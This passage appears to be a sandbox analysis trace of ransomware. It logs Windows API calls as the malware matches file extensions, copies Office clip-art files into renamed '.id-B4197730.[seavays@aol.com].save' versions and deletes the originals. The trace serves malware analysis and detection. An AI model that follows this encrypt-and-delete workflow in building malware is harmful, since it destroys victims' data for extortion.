(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.865] lstrlenW (lpString=".doc") returned 4 [0172.865] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0172.865] lstrlenW (lpString=".docx") returned 5 [0172.866] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0172.866] lstrlenW (lpString=".pdf") returned 4 [0172.866] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0172.866] lstrlenW (lpString=".xls") returned 4 [0172.866] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0172.866] lstrlenW (lpString=".xlsx") returned 5 [0172.866] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0172.866] lstrlenW (lpString=".ppt") returned 4 [0172.866] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0172.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.866] lstrlenW (lpString=".zip") returned 4 [0172.866] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0172.866] lstrlenW (lpString=".rar") returned 4 [0172.866] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0172.866] lstrlenW (lpString=".bz2") returned 4 [0172.866] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0172.866] lstrlenW (lpString=".7z") returned 3 [0172.866] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0172.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.866] lstrlenW (lpString=".dbf") returned 4 [0172.866] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0172.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.867] lstrlenW (lpString=".1cd") returned 4 [0172.867] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0172.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.867] lstrlenW (lpString=".jpg") returned 4 [0172.867] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0172.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.867] lstrlenW (lpString=".doc") returned 4 [0172.867] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0172.867] lstrlenW (lpString=".docx") returned 5 [0172.867] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0172.867] lstrlenW (lpString=".pdf") returned 4 [0172.867] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0172.867] lstrlenW (lpString=".xls") returned 4 [0172.867] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0172.867] lstrlenW (lpString=".xlsx") returned 5 [0172.867] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0172.867] lstrlenW (lpString=".ppt") returned 4 [0172.868] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0172.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.868] lstrlenW (lpString=".zip") returned 4 [0172.868] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0172.868] lstrlenW (lpString=".rar") returned 4 [0172.868] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0172.868] lstrlenW (lpString=".bz2") returned 4 [0172.868] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0172.868] lstrlenW (lpString=".7z") returned 3 [0172.868] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0172.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.868] lstrlenW (lpString=".dbf") returned 4 [0172.868] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0172.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.868] lstrlenW (lpString=".1cd") returned 4 [0172.868] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0172.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0172.868] lstrlenW (lpString=".jpg") returned 4 [0172.868] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0172.869] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0172.869] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0172.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0172.870] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6970) returned 1 [0172.870] CloseHandle (hObject=0x534) returned 1 [0172.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0172.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0172.871] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.871] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0172.872] GetLastError () returned 0x0 [0172.872] ReadFile (in: hFile=0x534, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1b3a, lpOverlapped=0x0) returned 1 [0172.874] WriteFile (in: hFile=0x538, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1b40, lpOverlapped=0x0) returned 1 [0172.875] ReadFile (in: hFile=0x534, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0172.875] WriteFile (in: hFile=0x538, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0172.875] SetEndOfFile (hFile=0x538) returned 1 [0172.876] CloseHandle (hObject=0x538) returned 1 [0172.876] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.876] SetEndOfFile (hFile=0x534) returned 1 [0172.881] CloseHandle (hObject=0x534) returned 1 [0172.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0172.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.883] lstrlenW (lpString=".doc") returned 4 [0172.883] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0172.883] lstrlenW (lpString=".docx") returned 5 [0172.883] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0172.883] lstrlenW (lpString=".pdf") returned 4 [0172.883] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0172.883] lstrlenW (lpString=".xls") returned 4 [0172.883] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0172.883] lstrlenW (lpString=".xlsx") returned 5 [0172.883] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0172.883] lstrlenW (lpString=".ppt") returned 4 [0172.883] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0172.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.883] lstrlenW (lpString=".zip") returned 4 [0172.883] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0172.883] lstrlenW (lpString=".rar") returned 4 [0172.883] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0172.883] lstrlenW (lpString=".bz2") returned 4 [0172.883] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0172.884] lstrlenW (lpString=".7z") returned 3 [0172.884] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0172.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.884] lstrlenW (lpString=".dbf") returned 4 [0172.884] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0172.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.884] lstrlenW (lpString=".1cd") returned 4 [0172.884] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0172.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.884] lstrlenW (lpString=".jpg") returned 4 [0172.884] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0172.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.884] lstrlenW (lpString=".doc") returned 4 [0172.884] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0172.884] lstrlenW (lpString=".docx") returned 5 [0172.884] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0172.884] lstrlenW (lpString=".pdf") returned 4 [0172.885] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0172.885] lstrlenW (lpString=".xls") returned 4 [0172.885] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0172.885] lstrlenW (lpString=".xlsx") returned 5 [0172.885] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0172.885] lstrlenW (lpString=".ppt") returned 4 [0172.885] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0172.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.885] lstrlenW (lpString=".zip") returned 4 [0172.885] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0172.885] lstrlenW (lpString=".rar") returned 4 [0172.885] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0172.885] lstrlenW (lpString=".bz2") returned 4 [0172.885] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0172.885] lstrlenW (lpString=".7z") returned 3 [0172.885] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0172.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.885] lstrlenW (lpString=".dbf") returned 4 [0172.885] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0172.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.885] lstrlenW (lpString=".1cd") returned 4 [0172.886] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0172.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0172.886] lstrlenW (lpString=".jpg") returned 4 [0172.886] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0172.886] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0172.886] lstrlenW (lpString="EAST_01.MID") returned 11 [0172.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.953] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6165) returned 1 [0172.953] CloseHandle (hObject=0x544) returned 1 [0172.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0172.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.957] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.957] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0172.958] GetLastError () returned 0x0 [0172.958] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1815, lpOverlapped=0x0) returned 1 [0172.960] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1820, lpOverlapped=0x0) returned 1 [0172.964] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0172.964] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xea, lpOverlapped=0x0) returned 1 [0172.964] SetEndOfFile (hFile=0x510) returned 1 [0172.964] CloseHandle (hObject=0x510) returned 1 [0172.964] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.964] SetEndOfFile (hFile=0x544) returned 1 [0172.967] CloseHandle (hObject=0x544) returned 1 [0172.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1 [0172.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.969] lstrlenW (lpString=".doc") returned 4 [0172.969] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0172.969] lstrlenW (lpString=".docx") returned 5 [0172.969] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0172.969] lstrlenW (lpString=".pdf") returned 4 [0172.969] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0172.969] lstrlenW (lpString=".xls") returned 4 [0172.969] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0172.969] lstrlenW (lpString=".xlsx") returned 5 [0172.969] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0172.969] lstrlenW (lpString=".ppt") returned 4 [0172.969] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0172.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.969] lstrlenW (lpString=".zip") returned 4 [0172.969] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0172.969] lstrlenW (lpString=".rar") returned 4 [0172.969] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0172.969] lstrlenW (lpString=".bz2") returned 4 [0172.970] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0172.970] lstrlenW (lpString=".7z") returned 3 [0172.970] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0172.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.970] lstrlenW (lpString=".dbf") returned 4 [0172.970] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0172.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.970] lstrlenW (lpString=".1cd") returned 4 [0172.970] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0172.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.970] lstrlenW (lpString=".jpg") returned 4 [0172.970] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0172.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.970] lstrlenW (lpString=".doc") returned 4 [0172.970] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0172.970] lstrlenW (lpString=".docx") returned 5 [0172.970] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0172.970] lstrlenW (lpString=".pdf") returned 4 [0172.970] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0172.970] lstrlenW (lpString=".xls") returned 4 [0172.970] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0172.970] lstrlenW (lpString=".xlsx") returned 5 [0172.970] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0172.970] lstrlenW (lpString=".ppt") returned 4 [0172.970] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0172.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.970] lstrlenW (lpString=".zip") returned 4 [0172.970] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0172.970] lstrlenW (lpString=".rar") returned 4 [0172.970] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0172.971] lstrlenW (lpString=".bz2") returned 4 [0172.971] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0172.971] lstrlenW (lpString=".7z") returned 3 [0172.971] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0172.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.971] lstrlenW (lpString=".dbf") returned 4 [0172.971] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0172.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.971] lstrlenW (lpString=".1cd") returned 4 [0172.971] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0172.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0172.971] lstrlenW (lpString=".jpg") returned 4 [0172.971] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0172.971] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0172.971] lstrlenW (lpString="FINCL_01.MID") returned 12 [0172.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.977] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=12981) returned 1 [0172.977] CloseHandle (hObject=0x544) returned 1 [0172.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0172.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.977] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.978] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0172.978] GetLastError () returned 0x0 [0172.978] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x32b5, lpOverlapped=0x0) returned 1 [0172.980] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x32c0, lpOverlapped=0x0) returned 1 [0172.982] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0172.982] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0172.982] SetEndOfFile (hFile=0x510) returned 1 [0172.982] CloseHandle (hObject=0x510) returned 1 [0172.982] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.982] SetEndOfFile (hFile=0x544) returned 1 [0172.985] CloseHandle (hObject=0x544) returned 1 [0172.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0172.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.986] lstrlenW (lpString=".doc") returned 4 [0172.986] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0172.986] lstrlenW (lpString=".docx") returned 5 [0172.986] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0172.986] lstrlenW (lpString=".pdf") returned 4 [0172.986] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0172.986] lstrlenW (lpString=".xls") returned 4 [0172.986] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0172.986] lstrlenW (lpString=".xlsx") returned 5 [0172.986] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0172.986] 